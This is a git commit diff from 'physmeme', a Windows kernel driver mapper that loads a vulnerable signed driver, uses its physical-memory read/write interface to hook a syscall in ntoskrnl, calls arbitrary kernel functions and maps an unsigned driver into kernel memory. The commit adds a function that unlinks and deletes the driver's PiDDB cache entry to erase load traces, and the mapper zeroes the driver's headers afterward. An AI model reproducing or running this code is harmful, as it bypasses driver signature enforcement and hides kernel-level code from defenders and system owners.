fixed major issues with finding the correct page

merge-requests/1/head
xerox 4 years ago
parent 3b4605b22d
commit bf0912d462

@ -62,6 +62,7 @@ namespace physmeme
const auto target = (uintptr_t)m_image_mapped.data() + section.VirtualAddress; const auto target = (uintptr_t)m_image_mapped.data() + section.VirtualAddress;
const auto source = (uintptr_t)m_dos_header + section.PointerToRawData; const auto source = (uintptr_t)m_dos_header + section.PointerToRawData;
std::copy_n(m_image.begin() + section.PointerToRawData, section.SizeOfRawData, m_image_mapped.begin() + section.VirtualAddress); std::copy_n(m_image.begin() + section.PointerToRawData, section.SizeOfRawData, m_image_mapped.begin() + section.VirtualAddress);
printf("[+] copying [%s] 0x%p -> 0x%p [0x%04X]\n", &section.Name[0], (void*)source, (void*)target, section.SizeOfRawData);
} }
} }
@ -127,7 +128,10 @@ namespace physmeme
const bool doRelocations = image_base_delta != 0 && relocation_size > 0; const bool doRelocations = image_base_delta != 0 && relocation_size > 0;
if (!doRelocations) if (!doRelocations)
{
printf("[+] no relocations needed\n");
return; return;
}
void* relocation_end = reinterpret_cast<uint8_t*>(relocation_directory) + relocation_size; void* relocation_end = reinterpret_cast<uint8_t*>(relocation_directory) + relocation_size;
@ -140,8 +144,13 @@ namespace physmeme
auto relocation_data = reinterpret_cast<PWORD>(relocation_directory + 1); auto relocation_data = reinterpret_cast<PWORD>(relocation_directory + 1);
for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data) for (unsigned long i = 0; i < num_relocs; ++i, ++relocation_data)
{
if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE) if (process_relocation(image_base_delta, *relocation_data, (uint8_t*)relocation_base) == FALSE)
{
printf("[+] failed to relocate!");
return; return;
}
}
relocation_directory = reinterpret_cast<PIMAGE_BASE_RELOCATION>(relocation_data); relocation_directory = reinterpret_cast<PIMAGE_BASE_RELOCATION>(relocation_data);
} }
@ -160,7 +169,10 @@ namespace physmeme
auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size)); auto import_descriptors = static_cast<PIMAGE_IMPORT_DESCRIPTOR>(::ImageDirectoryEntryToData(m_image.data(), FALSE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size));
if (import_descriptors == nullptr) if (import_descriptors == nullptr)
{
printf("[+] no imports!\n");
return; return;
}
for (; import_descriptors->Name; import_descriptors++) for (; import_descriptors->Name; import_descriptors++)
{ {
@ -168,12 +180,14 @@ namespace physmeme
const auto module_name = get_rva<char>(import_descriptors->Name); const auto module_name = get_rva<char>(import_descriptors->Name);
const auto module_base = get_module(module_name); const auto module_base = get_module(module_name);
printf("[+] processing module: %s [0x%I64X]\n", module_name, module_base);
if (import_descriptors->OriginalFirstThunk) if (import_descriptors->OriginalFirstThunk)
image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->OriginalFirstThunk); image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->OriginalFirstThunk);
else else
image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->FirstThunk); image_thunk_data = get_rva<IMAGE_THUNK_DATA>(import_descriptors->FirstThunk);
auto image_func_data = get_rva<IMAGE_THUNK_DATA64>(import_descriptors->FirstThunk); auto image_func_data = get_rva<IMAGE_THUNK_DATA64>(import_descriptors->FirstThunk);
;
for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++) for (; image_thunk_data->u1.AddressOfData; image_thunk_data++, image_func_data++)
{ {
@ -182,6 +196,8 @@ namespace physmeme
const auto image_import_by_name = get_rva<IMAGE_IMPORT_BY_NAME>(*(DWORD*)image_thunk_data); const auto image_import_by_name = get_rva<IMAGE_IMPORT_BY_NAME>(*(DWORD*)image_thunk_data);
const auto name_of_import = static_cast<char*>(image_import_by_name->Name); const auto name_of_import = static_cast<char*>(image_import_by_name->Name);
function_address = get_function(module_name, name_of_import); function_address = get_function(module_name, name_of_import);
printf("[+] function: %s [0x%I64X]\n", name_of_import, function_address);
image_func_data->u1.Function = function_address; image_func_data->u1.Function = function_address;
} }
} }

@ -8,7 +8,7 @@ namespace physmeme
return; return;
nt_rva = reinterpret_cast<std::uint32_t>( nt_rva = reinterpret_cast<std::uint32_t>(
util::get_module_export( util::get_kernel_export(
"ntoskrnl.exe", "ntoskrnl.exe",
syscall_hook.first.data(), syscall_hook.first.data(),
true true
@ -16,9 +16,13 @@ namespace physmeme
nt_page_offset = nt_rva % page_size; nt_page_offset = nt_rva % page_size;
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>( ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryA(ntoskrnl_path) LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES)
); );
printf("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset);
printf("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer);
printf("[+] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva);
std::vector<std::thread> search_threads; std::vector<std::thread> search_threads;
//--- for each physical memory range, make a thread to search it //--- for each physical memory range, make a thread to search it
for (auto ranges : util::pmem_ranges) for (auto ranges : util::pmem_ranges)
@ -31,6 +35,9 @@ namespace physmeme
for (std::thread& search_thread : search_threads) for (std::thread& search_thread : search_threads)
search_thread.join(); search_thread.join();
printf("[+] psyscall_func: 0x%p\n", psyscall_func.load());
} }
void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
@ -92,10 +99,109 @@ namespace physmeme
} }
} }
bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
{
static const auto piddb_lock =
util::memory::get_piddb_lock();
static const auto piddb_table =
util::memory::get_piddb_table();
std::cout << "[+] piddb_lock: " << piddb_lock << std::endl;
std::cout << "[+] piddb_table: " << piddb_table << std::endl;
if (!piddb_lock || !piddb_table)
return false;
static const auto ex_acquire_resource =
util::get_kernel_export(
"ntoskrnl.exe",
"ExAcquireResourceExclusiveLite"
);
static const auto lookup_element_table =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlLookupElementGenericTableAvl"
);
static const auto release_resource =
util::get_kernel_export(
"ntoskrnl.exe",
"ExReleaseResourceLite"
);
static const auto delete_table_entry =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlDeleteElementGenericTableAvl"
);
if (!ex_acquire_resource || !lookup_element_table || !release_resource)
return false;
PiDDBCacheEntry cache_entry;
const auto drv_name = std::wstring(file_name.begin(), file_name.end());
cache_entry.time_stamp = timestamp;
RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
//
// ExAcquireResourceExclusiveLite
//
if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
return false;
//
// RtlLookupElementGenericTableAvl
//
PIDCacheobj* found_entry_ptr =
syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
if (found_entry_ptr)
{
//
// unlink entry.
//
PIDCacheobj found_entry = read_kernel<PIDCacheobj>(found_entry_ptr);
LIST_ENTRY NextEntry = read_kernel<LIST_ENTRY>(found_entry.list.Flink);
LIST_ENTRY PrevEntry = read_kernel<LIST_ENTRY>(found_entry.list.Blink);
PrevEntry.Flink = found_entry.list.Flink;
NextEntry.Blink = found_entry.list.Blink;
write_kernel<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
write_kernel<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
//
// delete entry.
//
syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
//
// ensure the entry is 0
//
auto result = syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return !result;
}
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return false;
}
void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type) void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type)
{ {
static const auto ex_alloc_pool = static const auto ex_alloc_pool =
util::get_module_export( util::get_kernel_export(
"ntoskrnl.exe", "ntoskrnl.exe",
"ExAllocatePool" "ExAllocatePool"
); );
@ -110,7 +216,7 @@ namespace physmeme
void* kernel_ctx::allocate_pool(std::size_t size, ULONG pool_tag, POOL_TYPE pool_type) void* kernel_ctx::allocate_pool(std::size_t size, ULONG pool_tag, POOL_TYPE pool_type)
{ {
static const auto ex_alloc_pool_with_tag = static const auto ex_alloc_pool_with_tag =
util::get_module_export( util::get_kernel_export(
"ntoskrnl.exe", "ntoskrnl.exe",
"ExAllocatePoolWithTag" "ExAllocatePoolWithTag"
); );
@ -126,7 +232,7 @@ namespace physmeme
void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size) void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size)
{ {
static const auto mm_copy_memory = static const auto mm_copy_memory =
util::get_module_export( util::get_kernel_export(
"ntoskrnl.exe", "ntoskrnl.exe",
"RtlCopyMemory" "RtlCopyMemory"
); );
@ -142,7 +248,7 @@ namespace physmeme
void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size) void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size)
{ {
static const auto mm_copy_memory = static const auto mm_copy_memory =
util::get_module_export( util::get_kernel_export(
"ntoskrnl.exe", "ntoskrnl.exe",
"RtlCopyMemory" "RtlCopyMemory"
); );
@ -158,7 +264,7 @@ namespace physmeme
void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size) void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size)
{ {
static const auto rtl_zero_memory = static const auto rtl_zero_memory =
util::get_module_export( util::get_kernel_export(
"ntoskrnl.exe", "ntoskrnl.exe",
"RtlZeroMemory" "RtlZeroMemory"
); );

@ -67,17 +67,22 @@ namespace physmeme
void write_kernel(void* addr, void* buffer, std::size_t size); void write_kernel(void* addr, void* buffer, std::size_t size);
// //
// zero kernel memory using RtlZeroMemory // zero kernel memory using RtlZeroMemory
// //
void zero_kernel_memory(void* addr, std::size_t size); void zero_kernel_memory(void* addr, std::size_t size);
//
// clear piddb cache of a specific driver
//
bool clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp);
template <class T> template <class T>
T read_kernel(void* addr) T read_kernel(void* addr)
{ {
if (!addr) if (!addr)
return {}; return {};
T buffer; T buffer;
read_kernel(addr, &buffer, sizeof(T)); read_kernel(addr, (void*)&buffer, sizeof(T));
return buffer; return buffer;
} }
@ -85,13 +90,10 @@ namespace physmeme
void write_kernel(void* addr, const T& data) void write_kernel(void* addr, const T& data)
{ {
if (!addr) if (!addr)
return {}; return;
write_kernel(addr, &data, sizeof(T)); write_kernel(addr, (void*)&data, sizeof(T));
} }
//
// use this to call any function in the kernel
//
template <class T, class ... Ts> template <class T, class ... Ts>
std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args)
{ {
@ -101,15 +103,11 @@ namespace physmeme
syscall_hook.first.data() syscall_hook.first.data()
); );
if (!proc || !psyscall_func || !addr)
return {};
hook::make_hook(psyscall_func, addr); hook::make_hook(psyscall_func, addr);
auto result = reinterpret_cast<T>(proc)(args ...); auto result = reinterpret_cast<T>(proc)(args ...);
hook::remove(psyscall_func); hook::remove(psyscall_func);
return result; return result;
} }
private: private:
// //

@ -232,7 +232,7 @@ namespace driver
}; };
const auto service_name = random_file_name(16); const auto service_name = random_file_name(16);
const auto file_path = std::filesystem::temp_directory_path().string() + random_file_name(16); const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
std::ofstream output_file(file_path.c_str(), std::ios::binary); std::ofstream output_file(file_path.c_str(), std::ios::binary);
output_file.write((char*)drv_buffer.data(), drv_buffer.size()); output_file.write((char*)drv_buffer.data(), drv_buffer.size());
@ -267,11 +267,10 @@ namespace driver
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode); const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode);
const auto image_path = util::get_service_image_path(service_name); const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
const bool delete_drv = std::filesystem::remove(image_path);
const bool delete_reg = util::delete_service_entry(service_name); const bool delete_reg = util::delete_service_entry(service_name);
const bool delete_drv = std::filesystem::remove(image_path);
return unload_drv && delete_drv && delete_reg; return unload_drv && delete_reg && delete_drv;
} }
return false; return false;
} }

@ -10,8 +10,22 @@ namespace physmeme
bool __cdecl map_driver(std::vector<std::uint8_t>& raw_driver) bool __cdecl map_driver(std::vector<std::uint8_t>& raw_driver)
{ {
physmeme::drv_image image(raw_driver); physmeme::drv_image image(raw_driver);
physmeme::load_drv();
physmeme::kernel_ctx ctx; physmeme::kernel_ctx ctx;
//
// unload exploitable driver
//
if (!physmeme::unload_drv())
return false;
//
// shoot the tires off the cache.
//
const auto drv_timestamp = util::get_file_header(raw_driver.data())->TimeDateStamp;
if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp))
return false;
// //
// lambdas used for fixing driver image // lambdas used for fixing driver image
// //
@ -22,7 +36,7 @@ namespace physmeme
const auto _get_export_name = [&](const char* base, const char* name) const auto _get_export_name = [&](const char* base, const char* name)
{ {
return reinterpret_cast<std::uintptr_t>(util::get_module_export(base, name)); return reinterpret_cast<std::uintptr_t>(util::get_kernel_export(base, name));
}; };
// //
@ -68,8 +82,6 @@ namespace physmeme
// zero driver headers // zero driver headers
// //
ctx.zero_kernel_memory(pool_base, image.header_size()); ctx.zero_kernel_memory(pool_base, image.header_size());
physmeme::unload_drv();
return !result; // 0x0 means STATUS_SUCCESS return !result; // 0x0 means STATUS_SUCCESS
} }

@ -22,16 +22,21 @@ typedef struct _GIOMAP
namespace physmeme namespace physmeme
{ {
inline std::string drv_key; inline std::string drv_key;
inline HANDLE drv_handle = NULL;
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
inline HANDLE load_drv() inline bool load_drv()
{ {
const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver)); const auto [result, key] =
drv_key = key; driver::load(
raw_driver,
sizeof(raw_driver)
);
return CreateFile( drv_key = key;
drv_handle = CreateFile(
"\\\\.\\GIO", "\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE, GENERIC_READ | GENERIC_WRITE,
NULL, NULL,
@ -40,6 +45,7 @@ namespace physmeme
FILE_ATTRIBUTE_NORMAL, FILE_ATTRIBUTE_NORMAL,
NULL NULL
); );
return drv_handle;
} }
// //
@ -50,8 +56,6 @@ namespace physmeme
return driver::unload(drv_key); return driver::unload(drv_key);
} }
inline HANDLE drv_handle = load_drv();
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
@ -70,6 +74,7 @@ namespace physmeme
DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer), DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL); reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0]; return out_buffer[0];
} }
// //

@ -1,190 +0,0 @@
/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <map>
#include <atomic>
#include <memory>
#if _M_IX86
#define OFFSET_TO_ADDRESS 0x1
#elif _M_X64
#define OFFSET_TO_ADDRESS 0x2
#endif
namespace hook
{
static void write_to_readonly(void* addr, void* data, int size)
{
DWORD old_flags;
VirtualProtect((LPVOID)addr, size, PAGE_EXECUTE_READWRITE, &old_flags);
memcpy((void*)addr, data, size);
VirtualProtect((LPVOID)addr, size, old_flags, &old_flags);
}
class detour
{
public:
detour(void* addr_to_hook, void* jmp_to, bool enable = true)
: hook_addr(addr_to_hook), detour_addr(jmp_to), hook_installed(false)
{
//setup hook
memcpy(
jmp_code + OFFSET_TO_ADDRESS,
&jmp_to,
sizeof(jmp_to)
);
//save bytes
memcpy(
org_bytes,
hook_addr,
sizeof(org_bytes)
);
if(enable)
install();
}
void install()
{
if (hook_installed.load())
return;
// mapped page is already read/write
memcpy(hook_addr, jmp_code, sizeof(jmp_code));
hook_installed.exchange(true);
}
void uninstall()
{
if (!hook_installed.load())
return;
// mapped page is already read/write
memcpy(hook_addr, org_bytes, sizeof(org_bytes));
hook_installed.exchange(false);
}
~detour() { uninstall(); }
bool installed() { return hook_installed; }
void* hook_address() { return hook_addr; }
void* detour_address() { return detour_addr; }
private:
std::atomic<bool> hook_installed;
void *hook_addr, *detour_addr;
#if _M_IX86
/*
0: b8 ff ff ff ff mov eax, 0xffffffff
5: ff e0 jmp eax
*/
unsigned char jmp_code[7] = {
0xb8, 0x0, 0x0, 0x0, 0x0,
0xFF, 0xE0
};
#elif _M_X64
/*
0: 48 b8 ff ff ff ff ff ff ff ff movabs rax,0xffffffffffffffff
7: ff e0 jmp rax
*/
unsigned char jmp_code[12] = {
0x48, 0xb8,
0x0,
0x0,
0x0,
0x0,
0x0,
0x0,
0x0,
0x0,
0xff, 0xe0
};
#endif
std::uint8_t org_bytes[sizeof(jmp_code)];
};
static std::map<void*, std::unique_ptr<detour>> hooks{};
/*
Author: xerox
Date: 12/19/2019
Create Hook without needing to deal with objects
*/
static void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true)
{
if (!addr_to_hook)
return;
hooks.insert({
addr_to_hook,
std::make_unique<detour>(
addr_to_hook,
jmp_to_addr,
enable
)}
);
}
/*
Author: xerox
Date: 12/19/2019
Enable hook given the address to hook
*/
static void enable(void* addr)
{
if (!addr)
return;
hooks.at(addr)->install();
}
/*
Author: xerox
Date: 12/19/2019
Disable hook givent the address of the hook
*/
static void disable(void* addr)
{
if (!addr)
return;
hooks.at(addr)->uninstall();
}
/*
Author: xerox
Date: 12/19/2019
Remove hook completely from vector
*/
static void remove(void* addr)
{
if (!addr)
return;
hooks.at(addr)->~detour();
hooks.erase(addr);
}
}

@ -1,95 +0,0 @@
#pragma once
#include <Windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
constexpr bool physmeme_debugging = true;
constexpr auto ntoskrnl_path = "C:\\Windows\\System32\\ntoskrnl.exe";
constexpr auto page_size = 0x1000;
constexpr auto SystemModuleInformation = 11;
constexpr auto SystemHandleInformation = 16;
constexpr auto SystemExtendedHandleInformation = 64;
#define MM_COPY_MEMORY_PHYSICAL 0x1
#define MM_COPY_MEMORY_VIRTUAL 0x2
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
typedef enum _POOL_TYPE {
NonPagedPool,
NonPagedPoolExecute,
PagedPool,
NonPagedPoolMustSucceed,
DontUseThisType,
NonPagedPoolCacheAligned,
PagedPoolCacheAligned,
NonPagedPoolCacheAlignedMustS,
MaxPoolType,
NonPagedPoolBase,
NonPagedPoolBaseMustSucceed,
NonPagedPoolBaseCacheAligned,
NonPagedPoolBaseCacheAlignedMustS,
NonPagedPoolSession,
PagedPoolSession,
NonPagedPoolMustSucceedSession,
DontUseThisTypeSession,
NonPagedPoolCacheAlignedSession,
PagedPoolCacheAlignedSession,
NonPagedPoolCacheAlignedMustSSession,
NonPagedPoolNx,
NonPagedPoolNxCacheAligned,
NonPagedPoolSessionNx
} POOL_TYPE;
typedef struct _RTL_PROCESS_MODULE_INFORMATION
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES
{
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
typedef struct _MM_COPY_ADDRESS {
union {
PVOID VirtualAddress;
PHYSICAL_ADDRESS PhysicalAddress;
};
} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS;
using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T);
using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG);
using MmCopyMemory = NTSTATUS (__stdcall*)(PVOID, MM_COPY_ADDRESS,SIZE_T,ULONG,PSIZE_T);
using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(std::uintptr_t, std::size_t);

@ -1,192 +0,0 @@
#pragma once
#include <Windows.h>
#include <cstdint>
#include <string_view>
#include <iterator>
#include <fstream>
#include <string>
#include <map>
#include <vector>
#include <ntstatus.h>
#include <winternl.h>
#include "nt.hpp"
namespace util
{
//--- ranges of physical memory
static std::map<std::uintptr_t, std::size_t> pmem_ranges{};
//--- validates the address
static bool is_valid(std::uintptr_t addr)
{
for (auto range : pmem_ranges)
if (addr >= range.first && addr <= range.first + range.second)
return true;
return false;
}
// Author: Remy Lebeau
// taken from here: https://stackoverflow.com/questions/48485364/read-reg-resource-list-memory-values-incorrect-value
static const auto init_ranges = ([&]() -> bool
{
HKEY h_key;
DWORD type, size;
LPBYTE data;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
data = new BYTE[size];
RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
DWORD count = *(DWORD*)(data + 16);
auto pmi = data + 24;
for (int dwIndex = 0; dwIndex < count; dwIndex++)
{
pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
pmi += 20;
}
delete[] data;
RegCloseKey(h_key);
return true;
})();
// this was taken from wlan's drvmapper:
// https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7
static void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
{
std::ifstream fstr(file, std::ios::binary);
fstr.unsetf(std::ios::skipws);
fstr.seekg(0, std::ios::end);
const auto file_size = fstr.tellg();
fstr.seekg(NULL, std::ios::beg);
data.reserve(static_cast<uint32_t>(file_size));
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
}
// get base address of kernel module
//
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
static std::uintptr_t get_module_base(const char* module_name)
{
void* buffer = nullptr;
DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, NULL, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name))
{
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[idx].ImageBase);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
// get base address of kernel module
//
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
static void* get_module_export(const char* module_name, const char* export_name, bool rva = false)
{
void* buffer = nullptr;
DWORD buffer_size = 0;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
while (status == STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, 0, MEM_RELEASE);
return 0;
}
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{
// find module and then load library it
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
if (!_stricmp(current_module_name.c_str(), module_name))
{
// had to shoot the tires off of "\\SystemRoot\\"
std::string full_path = reinterpret_cast<char*>(modules->Modules[idx].FullPathName);
full_path.replace(
full_path.find("\\SystemRoot\\"),
sizeof("\\SystemRoot\\") - 1,
std::string(getenv("SYSTEMROOT")).append("\\")
);
auto module_base = LoadLibraryA(full_path.c_str());
PIMAGE_DOS_HEADER p_idh;
PIMAGE_NT_HEADERS p_inh;
PIMAGE_EXPORT_DIRECTORY p_ied;
PDWORD addr, name;
PWORD ordinal;
p_idh = (PIMAGE_DOS_HEADER)module_base;
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew);
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
return NULL;
if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
return NULL;
p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base +
p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions);
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
// find exported function
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
if (!strcmp(export_name, (char*)module_base + name[i]))
{
if (!rva)
{
auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]);
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
else
{
auto result = (void*)addr[ordinal[i]];
VirtualFree(buffer, NULL, MEM_RELEASE);
return result;
}
}
}
}
VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL;
}
}

@ -8,7 +8,7 @@ namespace physmeme
return; return;
nt_rva = reinterpret_cast<std::uint32_t>( nt_rva = reinterpret_cast<std::uint32_t>(
util::get_module_export( util::get_kernel_export(
"ntoskrnl.exe", "ntoskrnl.exe",
syscall_hook.first.data(), syscall_hook.first.data(),
true true
@ -16,7 +16,7 @@ namespace physmeme
nt_page_offset = nt_rva % page_size; nt_page_offset = nt_rva % page_size;
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>( ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(
LoadLibraryA(ntoskrnl_path) LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES)
); );
printf("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset); printf("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset);
@ -24,6 +24,7 @@ namespace physmeme
